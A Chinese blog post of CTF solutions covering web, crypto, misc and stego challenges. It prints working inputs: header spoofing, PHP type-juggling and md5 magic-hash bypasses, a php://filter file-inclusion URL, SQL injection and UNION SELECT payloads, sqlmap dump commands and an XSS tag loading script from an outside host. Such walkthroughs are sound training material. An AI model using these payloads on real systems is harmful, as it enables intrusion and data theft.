SKSEC

来源:互联网 发布:php服务器绑定域名 编辑:程序博客网 时间:2024/06/03 17:19

CTF

先附上群里大表哥的总结 wiki

web

1.源代码

直接右击查看源代码即可。

2.HongKong

考察对http的了解,由提示,我们应该让服务器认为我们是从香港登陆的才可以,刚开始以为要改自己的ip,后来了解可以通过修改Accept-Language: zh-CN,zh;改成zh-HK即可,毕竟可以通过语言来判断地方。得到flag。

3.Response

通过抓包得到一个奇怪的字符串666c61677b52657370306e73657d,观察发现最大的为e,猜测某种编码,用火狐的hackbar解密的到flag。

4.Where are you from

还是考察http协议,打开网页后提示Please access the server from the local,http中X-Forwarded-For来获取用户IP地址,把这个添加上X-Forwarded-For:127.0.0.1,得到flag。

5.他是个好人

打开网页以后,只有一句话,查看源码得到提示。PHP还没怎么接触,去查了一下,parese_str有把查询字符串解析到变量中功能,所以说,只要构造出字符串you,解析以后得到he==good即可。在后面加入?you=he=good.访问得到flag。
He is too bad, please save him<br><!----- Code ---echo "He is too bad, please save him";parse_str($_GET['you']);if($he == 'good'){echo "Excellect\n";echo $flag;}-->

6.Burp大法好

考察Burp的简单使用,拦截后得到Cookie: user=admin; guess=999,猜测guess应该是从0到999的数字,爆破一下,即可获得flag。

7.cut!cut!cut!

访问后得到代码,结合Hint理解,==是比较运算,它不会去检查条件式的表达式的类型===是恒等,它会检查查表达式的值与类型是否相等NULL,0,”0″,array()使用==和false比较时,都是会返回true的,而使用===却不会。
这道题有两种做法,我们还是先说数组 ereg是处理字符串的,所以,按照原理,我们将password构造一个arr[],传入之后,ereg是返回NULL的,===判断NULL和FALSE,是不相等的,所以可以进入第二个判断,而strpos处理数组,也是返回NULL,注意这里的是!==,NULL!==FALSE,条件成立,拿到flag, 第二种做法,ereg读到%00的时候,就截止了,所以可以构造s%00--,也能拿到flag
<?php$flag = '*********';if (isset ($_GET['password'])) {    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)        echo '<p class="alert">You password must be alphanumeric</p>';    else if (strpos ($_GET['password'], '--') !== FALSE)        die($flag);    else        echo '<p class="alert">Invalid password</p>';}?><section class="login">        <div class="title">                <a href="./index.phps">View Source</a>        </div>        <form method="POST">                <input type="text" required name="password" placeholder="Password" /><br/>                <input type="submit"/>        </form></section></body></html>

8.PHPの黑魔法

<?phpif(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){    $v1 = $_GET['v1'];    $v2 = $_GET['v2'];    $v3 = $_GET['v3'];    if($v1 != $v2 && md5($v1) == md5($v2)){        两个md5相等是可以的        if(!strcmp($v3, $flag)){            echo $flag;        }    }}?>
php的md5漏洞PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常用的payload:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
php弱类型Hint:php不会严格检验传入的变量类型,也可以将变量自由的转换类型。比如a==b的判断如:a=null b=false时反回的真,a='' b=0; 也会是真。
变量的强制类型转换:
1.数学运算
var_dump(0 == '0'); // truevar_dump(0 == 'abcdefg'); // true  var_dump(0 === 'abcdefg'); // falsevar_dump(1 == '1abcdef'); // true 

'1assd'的转换后的值是1,而‘asdaf’是0。从第一位不是数字的单位开始进行。

2.函数的松散判断

$a = 'asdfgh';//字符串类型的a</br>echo $a[2];  //根据php的offset 会输出'd'</br>echo $a[x];  //根据php的预测,这里应该是int型,那么输入string,就会被intval成为0 也就是输出'a'
总结:在所有php认为是int的地方输入string,都会被强制转换
数组遇上string:Array转换整型int/浮点型float会返回元素个数;转换bool返回Array中是否有元素;转换成string返回'Array',并抛出warning。

9.就不给你flag

文件包含漏洞,通过php的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就有可能导致文件泄露,甚至恶意代码注入。
文件包含可以分为普通本地文件包含,有限制的本地文件包含,普通远程文件包含,有限制的远程文件包含。
这个可以构造
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
这样的链接来访问,最后解密就可以了。

10.网络管理员

这个题提示是用python的requests模块,但是百度了一下,发现burpsuite也可以爆破带有简单验证码的登录。在这里。用单线程宏,必须单线程,多线程会出错,大概是burp会把进程弄混吧。

11.sql注入1

提示里面的源码:
if ($_POST['user'] && $_POST['pass']) {    $link = mysql_connect('MYSQL_HOST', 'MYSQL_USER', 'MYSQL_PASS');    if (!$link) {        die('connect failed!');    }    $db = mysql_select_db('MYSQL_DB_NAME', $link);$user = trim($_POST['user']);$pass = md5(trim($_POST['pass']));    $sql="select user from ctf where (user='".$user."') and (pass='".$pass."')";    echo '</br>' . $sql;    $query = mysql_fetch_array(mysql_query($sql, $link));    if ($query['user'] == "admin") {        echo "<p>Logged in! flag:********** </p>";    }    if ($query['user'] != "admin") {        echo ("<p>You are not admin!</p>");    }}echo $query['user'];
这个题考察基本原理,先随便提交一下显示:
select user from ctf where (user='Username') and (pass='dc647eb65e6711e155375218212b3964')
想办法提交并且闭合括号,并且把后面注释掉。把admin')# 提交发现成功。后面先到也可以提交admin') or ('1'='1
select user from ctf where (user='admin')#') and (pass='dc647eb65e6711e155375218212b3964')
select user from ctf where (user='admin') or ('1'='1') and (pass='dc647eb65e6711e155375218212b3964')

12.sql注入2

这个提倡手工注入,不过明白原理以后,用工具更方便一些。
手工注入:

http://192.168.139.150/sql2/sql2.php?id=-1'orderby 2--+    不报错http://192.168.139.150/sql2/sql2.php?id=-1'orderby 3--+     报错http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,database()--+    查数据库http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,group_concat(table_name) from information_schema.tables wheretable_schema='sql2'--+    查表名http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,group_concat(column_name) from information_schema.columns wheretable_name='f1ag'--+     查列名http://192.168.139.150/sql2/sql2.php?id=-1'UNIONSELECT 1,flagishere from f1ag --+  查内容

sqlmap:

sqlmap -u"http://" –dbs 查库sqlmap -u"http://" --table -D "flag" 查表 -D表示数据库参数 -T -C同理。sqlmap -u "http://"--columns -T "flag" -D "f1ag" 查列sqlmap -u"http://" --dump -C "f4ag" -T"flag" -D "f1ag" 查内容。

13.xss

网上找一个平台,然后测试,注意闭合!这个题一直没解决就是因为闭合不对。
</textarea><script src=http://xss></script>

Crypto

密码学前面的几个题目都不难,了解以后就没问题了。

1.base64

简单的base64接码,base64主要特征是由64个字符组成,最后可能有等号,长度是4的整数倍。

2.想翻过栅栏的凯撒

栅栏密码
凯撒密码 凯撒密码在线机密

3.培根?肉?

培根密码

4.最爱颜文字

颜文字这个复制到浏览器控制台运行就可以啦。

5.Base64?

这个题目先用base64解密,然后发现跟base64差不多,不过没有小写字母,猜测是base32,解密后得到flag。
密码学中,对密文多次加密也是另一条出路。

6.啥呢?很简单的

分析密文,发现有两种字符,而且每一小段之间有空格隔开,应该每一小段是一个字符吧,用摩斯密码试一下就成功了。

7.very easy rsa

p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537
求d。
学习了一下rsa算法,链接1,链接2,
# coding = utf-8def computeD(fn, e):    (x, y, r) = extendedGCD(fn, e)    #y maybe < 0, so convert it    if y < 0:        return fn + y    return ydef extendedGCD(a, b):    #a*xi + b*yi = ri    if b == 0:        return (1, 0, a)    #a*x1 + b*y1 = a    x1 = 1    y1 = 0    #a*x2 + b*y2 = b    x2 = 0    y2 = 1    while b != 0:        q = a / b        #ri = r(i-2) % r(i-1)        r = a % b        a = b        b = r        #xi = x(i-2) - q*x(i-1)        x = x1 - q*x2        x1 = x2        x2 = x        #yi = y(i-2) - q*y(i-1)        y = y1 - q*y2        y1 = y2        y2 = y    return(x1, y1, a)p = 3487583947589437589237958723892346254777q = 8767867843568934765983476584376578389e = 65537n = p * qfn = (p - 1) * (q - 1)d = computeD(fn, e)print d
解出来d很长很长,

Misc

1.WTF!这是什么鬼?

提示jother。百度以后发现,复制到浏览器运行一下就可以啦。

2.J1

先想到用文本打开,搜一下flag得到了一半,后在结尾发现另一半加密的flag,解密以后得到完整的flag。这个很有启发,flag分成两半藏起来。

3.听会儿歌吧

mp3文件,利用MP3Stego解出来就可以了,这两个题目相似度很高,这篇博客写的很详细了!

4.生日

压缩包有密码,提示是生日,直接上工具ARCHPR暴力破解。

5.你打不开的

提示密码很长,但是用工具解密的时候,提示该文件没有加密,后来了解到伪加密,可以直接在Linux中打开,也可用ZipCenOp.jar,另外用16进制编辑器改回加密标记为也可以,不过要先了解压缩文件的结构哦。另外win系统下用7z这个工具也可以直接打开伪加密的文件。

6.一起来吸猫啊

提示明文攻击,还是上工具,很快就破解了。明文攻击就是已经知道加密文件中的部分文件,但是要注意,打包后的crc32也必须相同才能用这种方法解。

7.你知道这是啥吗?

确实,我不知道这是啥,但是百度知道啊,pcap文件是截取的数据包文件,不多说kali里的Wireshark直接打开,很快就能找到flag。

8.notapad里的秘密

这个题目下载的文件是.raw,hint说要用volatility。是一个内存取证分析的题目,另外hint的那个博客已经很详细了命令:
volatility -f 文件名 imageinfo 获取内存类型volatility -f 文件名 pslist --profile=上一步得到的类型 本题中发现notepad进程volatility notepad -f 文件名 --profile= 
得到flag;

9.notepad里的秘密2

常规操作如上一题,hint说flag在flag.txt不过这次用到filescan找到flag.txt,然后dumpfiles把文件弄出来:
volatility -f 文件名  --profile=    dumpfiles --dump-dir目录 -Q地址 最后打开就得到了flag。

PPC

1.CRC32

crc32是一种crc32碰撞这篇文章讲得很好,里面有个类似的题目,模仿一下解到flag。

2.base64?

用base64解出来有乱码,原来是有一部分base64的大小写不正确。

3.简单编程&4.求素数

这两个简单的编程题不再说了。

Stega

1.图种

哈哈,图种改一下后缀名得到flag。看到一博客说,这种方法能做什么?除了加密,在一些只允许上传jpg或其他格式的站点上,就可以把其他不允许上传的文件压缩后与jpg文件进行绑定,这样,网站的相册也就成了我们存放文件的工具箱了。果然厉害!

2.word的本质

word的本质是?百度这样说:docx格式的文件本质上是一个ZIP文件。将一个docx文件的后缀改为ZIP后是可以用解压工具打开或是解压的。事实上,Word2007的基本文件就是ZIP格式的,他可以算作是docx文件的容器。docx 格式文件的主要内容是保存为XML格式的,但文件并非直接保存于磁盘。它是保存在一个ZIP文件中,然后取扩展名为docx。将.docx 格式的文件后缀改为ZIP后解压, 可以看到解压出来的文件夹中有word这样一个文件夹,它包含了Word文档的大部分内容。而其中的document.xml文件则包含了文档的主要文本内容。所以改一下文件后缀名,就能得到flag。


慢慢更新,还有好多题没做出来


原创粉丝点击